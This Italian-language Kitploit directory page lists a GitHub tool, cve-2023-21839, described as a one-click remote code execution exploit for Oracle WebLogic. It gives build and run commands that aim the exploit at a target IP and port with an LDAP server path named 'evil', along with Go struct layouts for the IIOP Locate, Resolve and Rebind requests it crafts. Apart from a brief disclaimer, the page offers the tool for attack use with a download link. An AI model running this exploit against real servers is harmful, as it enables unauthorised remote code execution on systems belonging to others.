Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-21839 — Weblogic CVE-2023-21839 RCE (nessuna dipendenza Java, RCE con un clic) | Kitploit
Strumenti/GitHubGitHub/askyeye/cve-2023-21839
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubaskyeye/cve-2023-21839

CVE-2023-21839

Weblogic CVE-2023-21839 RCE (nessuna dipendenza Java, RCE con un clic)

Vedi Repository
1151078 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-21839

Utilizzare questo progetto per attaccare o testare bersagli senza autorizzazione è illegale. Questo programma dovrebbe essere utilizzato solo per scopi di test di sicurezza e ricerca autorizzati.

Introduzione

Weblogic CVE-2023-21839 RCE

(1) Nessuna dipendenza Java richiesta, costruisce il protocollo via socket per RCE diretta

(2) Risolve il problema di rete NAT di IIOP (può testare Docker e target pubblici)

(3) Testato su Windows/Mac OS/Linux e Weblogic 12/14

(4) Utilizzare JDK 8u191 o inferiore per avviare Weblogic e configurare un proprio server JNDI

Utilizzo

root@kitploit:~
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Altro

Richiesta di Locate

root@kitploit:~
type LocateRequest struct {
	Header            *Header
	RequestId         []byte // 4
	TargetAddress     []byte // 2
	_reserved         []byte // 2
	_keyAddressLength []byte // 4
	KeyAddress        []byte // _keyAddressLength
}

Richiesta di Resolve

root@kitploit:~
type ResolveRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	_reserved1         []byte // 3
	TargetAddress      []byte // 2
	_reserved2         []byte // 2
	_keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	_operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	_reserved3         []byte // 1
	ServiceContextList *ServiceContextList
	CosNamingDissector []byte // no limit
}

Richiesta di Rebind

root@kitploit:~
type RebindRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	_reserved1         []byte // 3
	TargetAddress      []byte // 2
	_reserved2         []byte // 2
	_keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	_operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	_reserved3         []byte // 2
	ServiceContextList *ServiceContextList
	StubData           []byte // no limit
}
Scarica lo strumento